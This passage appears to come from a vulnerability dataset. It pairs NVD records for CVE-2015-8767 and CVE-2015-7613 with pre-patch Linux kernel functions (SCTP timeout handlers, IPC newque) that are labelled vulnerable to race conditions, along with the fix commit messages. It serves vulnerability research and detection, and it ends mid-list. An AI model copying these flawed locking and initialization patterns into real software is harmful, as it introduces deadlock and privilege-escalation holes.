[{'operator': 'OR', 'children': [], 'cpe_match': [{'vulnerable': True, 'cpe23Uri': 'cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*', 'versionEndExcluding': '4.3', 'cpe_name': []}]}, {'operator': 'OR', 'children': [], 'cpe_match': [{'vulnerable': True, 'cpe23Uri': 'cpe:2.3:o:debian:debian_linux:8.0:*:*:*:*:*:*:*', 'cpe_name': []}, {'vulnerable': True, 'cpe23Uri': 'cpe:2.3:o:debian:debian_linux:7.0:*:*:*:*:*:*:*', 'cpe_name': []}]}, {'operator': 'OR', 'children': [], 'cpe_match': [{'vulnerable': True, 'cpe23Uri': 'cpe:2.3:o:canonical:ubuntu_linux:12.04:*:*:*:lts:*:*:*', 'cpe_name': []}, {'vulnerable': True, 'cpe23Uri': 'cpe:2.3:o:canonical:ubuntu_linux:15.10:*:*:*:*:*:*:*', 'cpe_name': []}, {'vulnerable': True, 'cpe23Uri': 'cpe:2.3:o:canonical:ubuntu_linux:14.04:*:*:*:lts:*:*:*', 'cpe_name': []}]}]
[{'lang': 'en', 'value': 'net/sctp/sm_sideeffect.c in the Linux kernel before 4.3 does not properly manage the relationship between a lock and a socket, which allows local users to cause a denial of service (deadlock) via a crafted sctp_accept call.'}]
2018-08-30T16:53Z
2016-02-08T03:59Z
Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')
The program contains a code sequence that can run concurrently with other code, and the code sequence requires temporary, exclusive access to a shared resource, but a timing window exists in which the shared resource can be modified by another code sequence that is operating concurrently.
This can have security implications when the expected synchronization is in security-critical code, such as recording whether a user is authenticated or modifying important state information that should not be influenced by an outsider. A race condition occurs within concurrent environments, and is effectively a property of a code sequence. Depending on the context, a code sequence may be in the form of a function call, a small number of instructions, a series of program invocations, etc. A race condition violates these properties, which are closely related: Exclusivity - the code sequence is given exclusive access to the shared resource, i.e., no other code sequence can modify properties of the shared resource before the original sequence has completed execution. Atomicity - the code sequence is behaviorally atomic, i.e., no other thread or process can concurrently execute the same sequence of instructions (or a subset) against the same resource. A race condition exists when an "interfering code sequence" can still access the shared resource, violating exclusivity. Programmers may assume that certain code sequences execute too quickly to be affected by an interfering code sequence; when they are not, this violates atomicity. For example, the single "x++" statement may appear atomic at the code layer, but it is actually non-atomic at the instruction layer, since it involves a read (the original value of x), followed by a computation (x+1), followed by a write (save the result to x). The interfering code sequence could be "trusted" or "untrusted." A trusted interfering code sequence occurs within the program; it cannot be modified by the attacker, and it can only be invoked indirectly. An untrusted interfering code sequence can be authored directly by the attacker, and typically it is external to the vulnerable program.
https://cwe.mitre.org/data/definitions/362.html
0
Karl Heiss
2015-09-24 12:15:07-04:00
sctp: Prevent soft lockup when sctp_accept() is called during a timeout event A case can occur when sctp_accept() is called by the user during a heartbeat timeout event after the 4-way handshake. Since sctp_assoc_migrate() changes both assoc->base.sk and assoc->ep, the bh_sock_lock in sctp_generate_heartbeat_event() will be taken with the listening socket but released with the new association socket. The result is a deadlock on any future attempts to take the listening socket lock. Note that this race can occur with other SCTP timeouts that take the bh_lock_sock() in the event sctp_accept() is called. BUG: soft lockup - CPU#9 stuck for 67s! [swapper:0] ... RIP: 0010:[<ffffffff8152d48e>] [<ffffffff8152d48e>] _spin_lock+0x1e/0x30 RSP: 0018:ffff880028323b20 EFLAGS: 00000206 RAX: 0000000000000002 RBX: ffff880028323b20 RCX: 0000000000000000 RDX: 0000000000000000 RSI: ffff880028323be0 RDI: ffff8804632c4b48 RBP: ffffffff8100bb93 R08: 0000000000000000 R09: 0000000000000000 R10: ffff880610662280 R11: 0000000000000100 R12: ffff880028323aa0 R13: ffff8804383c3880 R14: ffff880028323a90 R15: ffffffff81534225 FS: 0000000000000000(0000) GS:ffff880028320000(0000) knlGS:0000000000000000 CS: 0010 DS: 0018 ES: 0018 CR0: 000000008005003b CR2: 00000000006df528 CR3: 0000000001a85000 CR4: 00000000000006e0 DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000 DR3: 0000000000000000 DR6: 00000000ffff0ff0 DR7: 0000000000000400 Process swapper (pid: 0, threadinfo ffff880616b70000, task ffff880616b6cab0) Stack: ffff880028323c40 ffffffffa01c2582 ffff880614cfb020 0000000000000000 <d> 0100000000000000 00000014383a6c44 ffff8804383c3880 ffff880614e93c00 <d> ffff880614e93c00 0000000000000000 ffff8804632c4b00 ffff8804383c38b8 Call Trace: <IRQ> [<ffffffffa01c2582>] ? sctp_rcv+0x492/0xa10 [sctp] [<ffffffff8148c559>] ? nf_iterate+0x69/0xb0 [<ffffffff814974a0>] ? ip_local_deliver_finish+0x0/0x2d0 [<ffffffff8148c716>] ? nf_hook_slow+0x76/0x120 [<ffffffff814974a0>] ? ip_local_deliver_finish+0x0/0x2d0 [<ffffffff8149757d>] ? ip_local_deliver_finish+0xdd/0x2d0 [<ffffffff81497808>] ? ip_local_deliver+0x98/0xa0 [<ffffffff81496ccd>] ? ip_rcv_finish+0x12d/0x440 [<ffffffff81497255>] ? ip_rcv+0x275/0x350 [<ffffffff8145cfeb>] ? __netif_receive_skb+0x4ab/0x750 ... With lockdep debugging: ===================================== [ BUG: bad unlock balance detected! ] ------------------------------------- CslRx/12087 is trying to release lock (slock-AF_INET) at: [<ffffffffa01bcae0>] sctp_generate_timeout_event+0x40/0xe0 [sctp] but there are no more locks to release! other info that might help us debug this: 2 locks held by CslRx/12087: #0: (&asoc->timers[i]){+.-...}, at: [<ffffffff8108ce1f>] run_timer_softirq+0x16f/0x3e0 #1: (slock-AF_INET){+.-...}, at: [<ffffffffa01bcac3>] sctp_generate_timeout_event+0x23/0xe0 [sctp] Ensure the socket taken is also the same one that is released by saving a copy of the socket before entering the timeout event critical section. Signed-off-by: Karl Heiss <[email protected]> Signed-off-by: David S. Miller <[email protected]>
635682a14427d241bab7bbdeebb48a7d7b91638e
False
torvalds/linux
Linux kernel source tree
2011-09-04 22:48:12
2022-08-26 19:08:15
torvalds
136917.0
44307.0
sctp_generate_t3_rtx_event
sctp_generate_t3_rtx_event( unsigned long peer)
['peer']
void sctp_generate_t3_rtx_event(unsigned long peer) { int error; struct sctp_transport *transport = (struct sctp_transport *) peer; struct sctp_association *asoc = transport->asoc; struct net *net = sock_net(asoc->base.sk); /* Check whether a task is in the sock. */ bh_lock_sock(asoc->base.sk); if (sock_owned_by_user(asoc->base.sk)) { pr_debug("%s: sock is busy\n", __func__); /* Try again later. */ if (!mod_timer(&transport->T3_rtx_timer, jiffies + (HZ/20))) sctp_transport_hold(transport); goto out_unlock; } /* Is this transport really dead and just waiting around for * the timer to let go of the reference? */ if (transport->dead) goto out_unlock; /* Run through the state machine. */ error = sctp_do_sm(net, SCTP_EVENT_T_TIMEOUT, SCTP_ST_TIMEOUT(SCTP_EVENT_TIMEOUT_T3_RTX), asoc->state, asoc->ep, asoc, transport, GFP_ATOMIC); if (error) asoc->base.sk->sk_err = -error; out_unlock: bh_unlock_sock(asoc->base.sk); sctp_transport_put(transport); }
170
True
1
CVE-2015-8767
False
False
False
False
AV:L/AC:L/Au:N/C:N/I:N/A:C
LOCAL
LOW
NONE
NONE
NONE
COMPLETE
4.9
CVSS:3.0/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
LOCAL
LOW
NONE
NONE
UNCHANGED
NONE
NONE
HIGH
6.2
MEDIUM
2.5
3.6
nan
[{'url': 'https://github.com/torvalds/linux/commit/635682a14427d241bab7bbdeebb48a7d7b91638e', 'name': 'https://github.com/torvalds/linux/commit/635682a14427d241bab7bbdeebb48a7d7b91638e', 'refsource': 'CONFIRM', 'tags': ['Patch', 'Third Party Advisory']}, {'url': 'http://www.openwall.com/lists/oss-security/2016/01/11/4', 'name': '[oss-security] 20160111 CVE Request: Linux kernel - SCTP denial of service during heartbeat timeout functions.', 'refsource': 'MLIST', 'tags': ['Mailing List', 'Third Party Advisory']}, {'url': 'https://bugzilla.redhat.com/show_bug.cgi?id=1297389', 'name': 'https://bugzilla.redhat.com/show_bug.cgi?id=1297389', 'refsource': 'CONFIRM', 'tags': ['Issue Tracking', 'Third Party Advisory']}, {'url': 'http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=635682a14427d241bab7bbdeebb48a7d7b91638e', 'name': 'http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=635682a14427d241bab7bbdeebb48a7d7b91638e', 'refsource': 'CONFIRM', 'tags': ['Patch', 'Vendor Advisory']}, {'url': 'https://access.redhat.com/errata/RHSA-2016:1341', 'name': 'RHSA-2016:1341', 'refsource': 'REDHAT', 'tags': ['Third Party Advisory']}, {'url': 'https://access.redhat.com/errata/RHSA-2016:1277', 'name': 'RHSA-2016:1277', 'refsource': 'REDHAT', 'tags': ['Third Party Advisory']}, {'url': 'https://access.redhat.com/errata/RHSA-2016:1301', 'name': 'RHSA-2016:1301', 'refsource': 'REDHAT', 'tags': ['Third Party Advisory']}, {'url': 'http://rhn.redhat.com/errata/RHSA-2016-0715.html', 'name': 'RHSA-2016:0715', 'refsource': 'REDHAT', 'tags': ['Third Party Advisory']}, {'url': 'http://www.oracle.com/technetwork/topics/security/linuxbulletinjul2016-3090544.html', 'name': 'http://www.oracle.com/technetwork/topics/security/linuxbulletinjul2016-3090544.html', 'refsource': 'CONFIRM', 'tags': ['Third Party Advisory']}, {'url': 'http://www.oracle.com/technetwork/topics/security/linuxbulletinapr2016-2952096.html', 'name': 'http://www.oracle.com/technetwork/topics/security/linuxbulletinapr2016-2952096.html', 'refsource': 'CONFIRM', 'tags': ['Third Party Advisory']}, {'url': 'http://www.securityfocus.com/bid/80268', 'name': '80268', 'refsource': 'BID', 'tags': ['Third Party Advisory', 'VDB Entry']}, {'url': 'http://lists.opensuse.org/opensuse-security-announce/2016-08/msg00038.html', 'name': 'SUSE-SU-2016:2074', 'refsource': 'SUSE', 'tags': ['Mailing List', 'Third Party Advisory']}, {'url': 'http://www.debian.org/security/2016/dsa-3503', 'name': 'DSA-3503', 'refsource': 'DEBIAN', 'tags': ['Third Party Advisory']}, {'url': 'http://lists.opensuse.org/opensuse-security-announce/2016-04/msg00015.html', 'name': 'openSUSE-SU-2016:1008', 'refsource': 'SUSE', 'tags': ['Mailing List', 'Third Party Advisory']}, {'url': 'http://www.ubuntu.com/usn/USN-2967-1', 'name': 'USN-2967-1', 'refsource': 'UBUNTU', 'tags': ['Third Party Advisory']}, {'url': 'http://www.ubuntu.com/usn/USN-2967-2', 'name': 'USN-2967-2', 'refsource': 'UBUNTU', 'tags': ['Third Party Advisory']}, {'url': 'http://www.ubuntu.com/usn/USN-2930-1', 'name': 'USN-2930-1', 'refsource': 'UBUNTU', 'tags': ['Third Party Advisory']}, {'url': 'http://www.ubuntu.com/usn/USN-2931-1', 'name': 'USN-2931-1', 'refsource': 'UBUNTU', 'tags': ['Third Party Advisory']}, {'url': 'http://www.ubuntu.com/usn/USN-2932-1', 'name': 'USN-2932-1', 'refsource': 'UBUNTU', 'tags': ['Third Party Advisory']}, {'url': 'http://www.ubuntu.com/usn/USN-2930-3', 'name': 'USN-2930-3', 'refsource': 'UBUNTU', 'tags': ['Third Party Advisory']}, {'url': 'http://www.ubuntu.com/usn/USN-2930-2', 'name': 'USN-2930-2', 'refsource': 'UBUNTU', 'tags': ['Third Party Advisory']}, {'url': 'http://lists.opensuse.org/opensuse-security-announce/2016-03/msg00094.html', 'name': 'SUSE-SU-2016:0911', 'refsource': 'SUSE', 'tags': ['Mailing List', 'Third Party Advisory']}, {'url': 'http://lists.opensuse.org/opensuse-security-announce/2016-04/msg00045.html', 'name': 'SUSE-SU-2016:1102', 'refsource': 'SUSE', 'tags': ['Mailing List', 'Third Party Advisory']}, {'url': 'http://lists.fedoraproject.org/pipermail/package-announce/2016-February/176484.html', 'name': 'FEDORA-2016-5d43766e33', 'refsource': 'FEDORA', 'tags': ['Third Party Advisory']}, {'url': 'http://www.debian.org/security/2016/dsa-3448', 'name': 'DSA-3448', 'refsource': 'DEBIAN', 'tags': ['Third Party Advisory']}]
[{'description': [{'lang': 'en', 'value': 'CWE-362'}]}]
MEDIUM
[{'operator': 'OR', 'children': [], 'cpe_match': [{'vulnerable': True, 'cpe23Uri': 'cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*', 'versionEndExcluding': '4.3', 'cpe_name': []}]}, {'operator': 'OR', 'children': [], 'cpe_match': [{'vulnerable': True, 'cpe23Uri': 'cpe:2.3:o:debian:debian_linux:8.0:*:*:*:*:*:*:*', 'cpe_name': []}, {'vulnerable': True, 'cpe23Uri': 'cpe:2.3:o:debian:debian_linux:7.0:*:*:*:*:*:*:*', 'cpe_name': []}]}, {'operator': 'OR', 'children': [], 'cpe_match': [{'vulnerable': True, 'cpe23Uri': 'cpe:2.3:o:canonical:ubuntu_linux:12.04:*:*:*:lts:*:*:*', 'cpe_name': []}, {'vulnerable': True, 'cpe23Uri': 'cpe:2.3:o:canonical:ubuntu_linux:15.10:*:*:*:*:*:*:*', 'cpe_name': []}, {'vulnerable': True, 'cpe23Uri': 'cpe:2.3:o:canonical:ubuntu_linux:14.04:*:*:*:lts:*:*:*', 'cpe_name': []}]}]
[{'lang': 'en', 'value': 'net/sctp/sm_sideeffect.c in the Linux kernel before 4.3 does not properly manage the relationship between a lock and a socket, which allows local users to cause a denial of service (deadlock) via a crafted sctp_accept call.'}]
2018-08-30T16:53Z
2016-02-08T03:59Z
Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')
The program contains a code sequence that can run concurrently with other code, and the code sequence requires temporary, exclusive access to a shared resource, but a timing window exists in which the shared resource can be modified by another code sequence that is operating concurrently.
This can have security implications when the expected synchronization is in security-critical code, such as recording whether a user is authenticated or modifying important state information that should not be influenced by an outsider. A race condition occurs within concurrent environments, and is effectively a property of a code sequence. Depending on the context, a code sequence may be in the form of a function call, a small number of instructions, a series of program invocations, etc. A race condition violates these properties, which are closely related: Exclusivity - the code sequence is given exclusive access to the shared resource, i.e., no other code sequence can modify properties of the shared resource before the original sequence has completed execution. Atomicity - the code sequence is behaviorally atomic, i.e., no other thread or process can concurrently execute the same sequence of instructions (or a subset) against the same resource. A race condition exists when an "interfering code sequence" can still access the shared resource, violating exclusivity. Programmers may assume that certain code sequences execute too quickly to be affected by an interfering code sequence; when they are not, this violates atomicity. For example, the single "x++" statement may appear atomic at the code layer, but it is actually non-atomic at the instruction layer, since it involves a read (the original value of x), followed by a computation (x+1), followed by a write (save the result to x). The interfering code sequence could be "trusted" or "untrusted." A trusted interfering code sequence occurs within the program; it cannot be modified by the attacker, and it can only be invoked indirectly. An untrusted interfering code sequence can be authored directly by the attacker, and typically it is external to the vulnerable program.
https://cwe.mitre.org/data/definitions/362.html
0
Karl Heiss
2015-09-24 12:15:07-04:00
sctp: Prevent soft lockup when sctp_accept() is called during a timeout event A case can occur when sctp_accept() is called by the user during a heartbeat timeout event after the 4-way handshake. Since sctp_assoc_migrate() changes both assoc->base.sk and assoc->ep, the bh_sock_lock in sctp_generate_heartbeat_event() will be taken with the listening socket but released with the new association socket. The result is a deadlock on any future attempts to take the listening socket lock. Note that this race can occur with other SCTP timeouts that take the bh_lock_sock() in the event sctp_accept() is called. BUG: soft lockup - CPU#9 stuck for 67s! [swapper:0] ... RIP: 0010:[<ffffffff8152d48e>] [<ffffffff8152d48e>] _spin_lock+0x1e/0x30 RSP: 0018:ffff880028323b20 EFLAGS: 00000206 RAX: 0000000000000002 RBX: ffff880028323b20 RCX: 0000000000000000 RDX: 0000000000000000 RSI: ffff880028323be0 RDI: ffff8804632c4b48 RBP: ffffffff8100bb93 R08: 0000000000000000 R09: 0000000000000000 R10: ffff880610662280 R11: 0000000000000100 R12: ffff880028323aa0 R13: ffff8804383c3880 R14: ffff880028323a90 R15: ffffffff81534225 FS: 0000000000000000(0000) GS:ffff880028320000(0000) knlGS:0000000000000000 CS: 0010 DS: 0018 ES: 0018 CR0: 000000008005003b CR2: 00000000006df528 CR3: 0000000001a85000 CR4: 00000000000006e0 DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000 DR3: 0000000000000000 DR6: 00000000ffff0ff0 DR7: 0000000000000400 Process swapper (pid: 0, threadinfo ffff880616b70000, task ffff880616b6cab0) Stack: ffff880028323c40 ffffffffa01c2582 ffff880614cfb020 0000000000000000 <d> 0100000000000000 00000014383a6c44 ffff8804383c3880 ffff880614e93c00 <d> ffff880614e93c00 0000000000000000 ffff8804632c4b00 ffff8804383c38b8 Call Trace: <IRQ> [<ffffffffa01c2582>] ? sctp_rcv+0x492/0xa10 [sctp] [<ffffffff8148c559>] ? nf_iterate+0x69/0xb0 [<ffffffff814974a0>] ? ip_local_deliver_finish+0x0/0x2d0 [<ffffffff8148c716>] ? nf_hook_slow+0x76/0x120 [<ffffffff814974a0>] ? ip_local_deliver_finish+0x0/0x2d0 [<ffffffff8149757d>] ? ip_local_deliver_finish+0xdd/0x2d0 [<ffffffff81497808>] ? ip_local_deliver+0x98/0xa0 [<ffffffff81496ccd>] ? ip_rcv_finish+0x12d/0x440 [<ffffffff81497255>] ? ip_rcv+0x275/0x350 [<ffffffff8145cfeb>] ? __netif_receive_skb+0x4ab/0x750 ... With lockdep debugging: ===================================== [ BUG: bad unlock balance detected! ] ------------------------------------- CslRx/12087 is trying to release lock (slock-AF_INET) at: [<ffffffffa01bcae0>] sctp_generate_timeout_event+0x40/0xe0 [sctp] but there are no more locks to release! other info that might help us debug this: 2 locks held by CslRx/12087: #0: (&asoc->timers[i]){+.-...}, at: [<ffffffff8108ce1f>] run_timer_softirq+0x16f/0x3e0 #1: (slock-AF_INET){+.-...}, at: [<ffffffffa01bcac3>] sctp_generate_timeout_event+0x23/0xe0 [sctp] Ensure the socket taken is also the same one that is released by saving a copy of the socket before entering the timeout event critical section. Signed-off-by: Karl Heiss <[email protected]> Signed-off-by: David S. Miller <[email protected]>
635682a14427d241bab7bbdeebb48a7d7b91638e
False
torvalds/linux
Linux kernel source tree
2011-09-04 22:48:12
2022-08-26 19:08:15
torvalds
136917.0
44307.0
sctp_generate_timeout_event
sctp_generate_timeout_event( struct sctp_association * asoc , sctp_event_timeout_t timeout_type)
['asoc', 'timeout_type']
static void sctp_generate_timeout_event(struct sctp_association *asoc, sctp_event_timeout_t timeout_type) { struct net *net = sock_net(asoc->base.sk); int error = 0; bh_lock_sock(asoc->base.sk); if (sock_owned_by_user(asoc->base.sk)) { pr_debug("%s: sock is busy: timer %d\n", __func__, timeout_type); /* Try again later. */ if (!mod_timer(&asoc->timers[timeout_type], jiffies + (HZ/20))) sctp_association_hold(asoc); goto out_unlock; } /* Is this association really dead and just waiting around for * the timer to let go of the reference? */ if (asoc->base.dead) goto out_unlock; /* Run through the state machine. */ error = sctp_do_sm(net, SCTP_EVENT_T_TIMEOUT, SCTP_ST_TIMEOUT(timeout_type), asoc->state, asoc->ep, asoc, (void *)timeout_type, GFP_ATOMIC); if (error) asoc->base.sk->sk_err = -error; out_unlock: bh_unlock_sock(asoc->base.sk); sctp_association_put(asoc); }
166
True
1
CVE-2015-7613
False
False
False
False
AV:L/AC:M/Au:N/C:C/I:C/A:C
LOCAL
MEDIUM
NONE
COMPLETE
COMPLETE
COMPLETE
6.9
nan
nan
nan
nan
nan
nan
nan
nan
nan
nan
nan
nan
nan
nan
[{'url': 'http://www.openwall.com/lists/oss-security/2015/10/01/8', 'name': '[oss-security] 20151001 CVE Request: Unauthorized access to IPC objects with SysV shm', 'refsource': 'MLIST', 'tags': ['Exploit']}, {'url': 'https://github.com/torvalds/linux/commit/b9a532277938798b53178d5a66af6e2915cb27cf', 'name': 'https://github.com/torvalds/linux/commit/b9a532277938798b53178d5a66af6e2915cb27cf', 'refsource': 'CONFIRM', 'tags': []}, {'url': 'https://bugzilla.redhat.com/show_bug.cgi?id=1268270', 'name': 'https://bugzilla.redhat.com/show_bug.cgi?id=1268270', 'refsource': 'CONFIRM', 'tags': []}, {'url': 'http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=b9a532277938798b53178d5a66af6e2915cb27cf', 'name': 'http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=b9a532277938798b53178d5a66af6e2915cb27cf', 'refsource': 'CONFIRM', 'tags': []}, {'url': 'http://www.oracle.com/technetwork/topics/security/linuxbulletinjan2016-2867209.html', 'name': 'http://www.oracle.com/technetwork/topics/security/linuxbulletinjan2016-2867209.html', 'refsource': 'CONFIRM', 'tags': []}, {'url': 'http://www.oracle.com/technetwork/topics/security/linuxbulletinoct2015-2719645.html', 'name': 'http://www.oracle.com/technetwork/topics/security/linuxbulletinoct2015-2719645.html', 'refsource': 'CONFIRM', 'tags': []}, {'url': 'http://www.securityfocus.com/bid/76977', 'name': '76977', 'refsource': 'BID', 'tags': []}, {'url': 'http://lists.opensuse.org/opensuse-security-announce/2015-11/msg00029.html', 'name': 'SUSE-SU-2015:2087', 'refsource': 'SUSE', 'tags': []}, {'url': 'http://lists.opensuse.org/opensuse-security-announce/2015-11/msg00028.html', 'name': 'SUSE-SU-2015:2086', 'refsource': 'SUSE', 'tags': []}, {'url': 'http://lists.opensuse.org/opensuse-security-announce/2015-11/msg00032.html', 'name': 'SUSE-SU-2015:2091', 'refsource': 'SUSE', 'tags': []}, {'url': 'http://www.securitytracker.com/id/1034592', 'name': '1034592', 'refsource': 'SECTRACK', 'tags': []}, {'url': 'http://lists.opensuse.org/opensuse-security-announce/2015-11/msg00031.html', 'name': 'SUSE-SU-2015:2090', 'refsource': 'SUSE', 'tags': []}, {'url': 'http://www.securitytracker.com/id/1034094', 'name': '1034094', 'refsource': 'SECTRACK', 'tags': []}, {'url': 'http://lists.opensuse.org/opensuse-security-announce/2015-11/msg00030.html', 'name': 'SUSE-SU-2015:2089', 'refsource': 'SUSE', 'tags': []}, {'url': 'https://kc.mcafee.com/corporate/index?page=content&id=SB10146', 'name': 'https://kc.mcafee.com/corporate/index?page=content&id=SB10146', 'refsource': 'CONFIRM', 'tags': []}, {'url': 'http://www.debian.org/security/2015/dsa-3372', 'name': 'DSA-3372', 'refsource': 'DEBIAN', 'tags': []}, {'url': 'http://lists.opensuse.org/opensuse-security-announce/2015-11/msg00026.html', 'name': 'SUSE-SU-2015:2084', 'refsource': 'SUSE', 'tags': []}, {'url': 'http://lists.opensuse.org/opensuse-security-announce/2015-11/msg00027.html', 'name': 'SUSE-SU-2015:2085', 'refsource': 'SUSE', 'tags': []}, {'url': 'http://rhn.redhat.com/errata/RHSA-2015-2636.html', 'name': 'RHSA-2015:2636', 'refsource': 'REDHAT', 'tags': []}, {'url': 'http://www.ubuntu.com/usn/USN-2792-1', 'name': 'USN-2792-1', 'refsource': 'UBUNTU', 'tags': []}, {'url': 'http://www.ubuntu.com/usn/USN-2763-1', 'name': 'USN-2763-1', 'refsource': 'UBUNTU', 'tags': []}, {'url': 'http://www.ubuntu.com/usn/USN-2761-1', 'name': 'USN-2761-1', 'refsource': 'UBUNTU', 'tags': []}, {'url': 'http://www.ubuntu.com/usn/USN-2764-1', 'name': 'USN-2764-1', 'refsource': 'UBUNTU', 'tags': []}, {'url': 'http://www.ubuntu.com/usn/USN-2762-1', 'name': 'USN-2762-1', 'refsource': 'UBUNTU', 'tags': []}, {'url': 'http://www.ubuntu.com/usn/USN-2765-1', 'name': 'USN-2765-1', 'refsource': 'UBUNTU', 'tags': []}, {'url': 'http://lists.opensuse.org/opensuse-security-announce/2015-10/msg00009.html', 'name': 'SUSE-SU-2015:1727', 'refsource': 'SUSE', 'tags': []}]
[{'description': [{'lang': 'en', 'value': 'CWE-362'}]}]
MEDIUM
[{'operator': 'OR', 'children': [], 'cpe_match': [{'vulnerable': True, 'cpe23Uri': 'cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*', 'versionEndIncluding': '4.2.3', 'cpe_name': []}]}]
[{'lang': 'en', 'value': 'Race condition in the IPC object implementation in the Linux kernel through 4.2.3 allows local users to gain privileges by triggering an ipc_addid call that leads to uid and gid comparisons against uninitialized data, related to msg.c, shm.c, and util.c.'}]
2016-12-08T03:13Z
2015-10-19T10:59Z
Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')
The program contains a code sequence that can run concurrently with other code, and the code sequence requires temporary, exclusive access to a shared resource, but a timing window exists in which the shared resource can be modified by another code sequence that is operating concurrently.
This can have security implications when the expected synchronization is in security-critical code, such as recording whether a user is authenticated or modifying important state information that should not be influenced by an outsider. A race condition occurs within concurrent environments, and is effectively a property of a code sequence. Depending on the context, a code sequence may be in the form of a function call, a small number of instructions, a series of program invocations, etc. A race condition violates these properties, which are closely related: Exclusivity - the code sequence is given exclusive access to the shared resource, i.e., no other code sequence can modify properties of the shared resource before the original sequence has completed execution. Atomicity - the code sequence is behaviorally atomic, i.e., no other thread or process can concurrently execute the same sequence of instructions (or a subset) against the same resource. A race condition exists when an "interfering code sequence" can still access the shared resource, violating exclusivity. Programmers may assume that certain code sequences execute too quickly to be affected by an interfering code sequence; when they are not, this violates atomicity. For example, the single "x++" statement may appear atomic at the code layer, but it is actually non-atomic at the instruction layer, since it involves a read (the original value of x), followed by a computation (x+1), followed by a write (save the result to x). The interfering code sequence could be "trusted" or "untrusted." A trusted interfering code sequence occurs within the program; it cannot be modified by the attacker, and it can only be invoked indirectly. An untrusted interfering code sequence can be authored directly by the attacker, and typically it is external to the vulnerable program.
https://cwe.mitre.org/data/definitions/362.html
0
Linus Torvalds
2015-09-30 12:48:40-04:00
Initialize msg/shm IPC objects before doing ipc_addid() As reported by Dmitry Vyukov, we really shouldn't do ipc_addid() before having initialized the IPC object state. Yes, we initialize the IPC object in a locked state, but with all the lockless RCU lookup work, that IPC object lock no longer means that the state cannot be seen. We already did this for the IPC semaphore code (see commit e8577d1f0329: "ipc/sem.c: fully initialize sem_array before making it visible") but we clearly forgot about msg and shm. Reported-by: Dmitry Vyukov <[email protected]> Cc: Manfred Spraul <[email protected]> Cc: Davidlohr Bueso <[email protected]> Cc: [email protected] Signed-off-by: Linus Torvalds <[email protected]>
b9a532277938798b53178d5a66af6e2915cb27cf
False
torvalds/linux
Linux kernel source tree
2011-09-04 22:48:12
2022-08-26 19:08:15
torvalds
136917.0
44307.0
newque
newque( struct ipc_namespace * ns , struct ipc_params * params)
['ns', 'params']
static int newque(struct ipc_namespace *ns, struct ipc_params *params) { struct msg_queue *msq; int id, retval; key_t key = params->key; int msgflg = params->flg; msq = ipc_rcu_alloc(sizeof(*msq)); if (!msq) return -ENOMEM; msq->q_perm.mode = msgflg & S_IRWXUGO; msq->q_perm.key = key; msq->q_perm.security = NULL; retval = security_msg_queue_alloc(msq); if (retval) { ipc_rcu_putref(msq, ipc_rcu_free); return retval; } /* ipc_addid() locks msq upon success. */ id = ipc_addid(&msg_ids(ns), &msq->q_perm, ns->msg_ctlmni); if (id < 0) { ipc_rcu_putref(msq, msg_rcu_free); return id; } msq->q_stime = msq->q_rtime = 0; msq->q_ctime = get_seconds(); msq->q_cbytes = msq->q_qnum = 0; msq->q_qbytes = ns->msg_ctlmnb; msq->q_lspid = msq->q_lrpid = 0; INIT_LIST_HEAD(&msq->q_messages); INIT_LIST_HEAD(&msq->q_receivers); INIT_LIST_HEAD(&msq->q_senders); ipc_unlock_object(&msq->q_perm); rcu_read_unlock(); return msq->q_perm.id; }
234
True
1
CVE-2015-7613
False
False
False
False
AV:L/AC:M/Au:N/C:C/I:C/A:C
LOCAL
MEDIUM
NONE
COMPLETE
COMPLETE
COMPLETE
6.9
nan
nan
nan
nan
nan
nan
nan
nan
nan
nan
nan
nan
nan
nan
[{'url': 'http://www.openwall.com/lists/oss-security/2015/10/01/8', 'name': '[oss-security] 20151001 CVE Request: Unauthorized access to IPC objects with SysV shm', 'refsource': 'MLIST', 'tags': ['Exploit']}, {'url': 'https://github.com/torvalds/linux/commit/b9a532277938798b53178d5a66af6e2915cb27cf', 'name': 'https://github.com/torvalds/linux/commit/b9a532277938798b53178d5a66af6e2915cb27cf', 'refsource': 'CONFIRM', 'tags': []}, {'url': 'https://bugzilla.redhat.com/show_bug.cgi?id=1268270', 'name': 'https://bugzilla.redhat.com/show_bug.cgi?id=1268270', 'refsource': 'CONFIRM', 'tags': []}, {'url': 'http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=b9a532277938798b53178d5a66af6e2915cb27cf', 'name': 'http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=b9a532277938798b53178d5a66af6e2915cb27cf', 'refsource': 'CONFIRM', 'tags': []}, {'url': 'http://www.oracle.com/technetwork/topics/security/linuxbulletinjan2016-2867209.html', 'name': 'http://www.oracle.com/technetwork/topics/security/linuxbulletinjan2016-2867209.html', 'refsource': 'CONFIRM', 'tags': []}, {'url': 'http://www.oracle.com/technetwork/topics/security/linuxbulletinoct2015-2719645.html', 'name': 'http://www.oracle.com/technetwork/topics/security/linuxbulletinoct2015-2719645.html', 'refsource': 'CONFIRM', 'tags': []}, {'url': 'http://www.securityfocus.com/bid/76977', 'name': '76977', 'refsource': 'BID', 'tags': []}, {'url': 'http://lists.opensuse.org/opensuse-security-announce/2015-11/msg00029.html', 'name': 'SUSE-SU-2015:2087', 'refsource': 'SUSE', 'tags': []}, {'url': 'http://lists.opensuse.org/opensuse-security-announce/2015-11/msg00028.html', 'name': 'SUSE-SU-2015:2086', 'refsource': 'SUSE', 'tags': []}, {'url': 'http://lists.opensuse.org/opensuse-security-announce/2015-11/msg00032.html', 'name': 'SUSE-SU-2015:2091', 'refsource': 'SUSE', 'tags': []}, {'url': 'http://www.securitytracker.com/id/1034592', 'name': '1034592', 'refsource': 'SECTRACK', 'tags': []}, {'url': 'http://lists.opensuse.org/opensuse-security-announce/2015-11/msg00031.html', 'name': 'SUSE-SU-2015:2090', 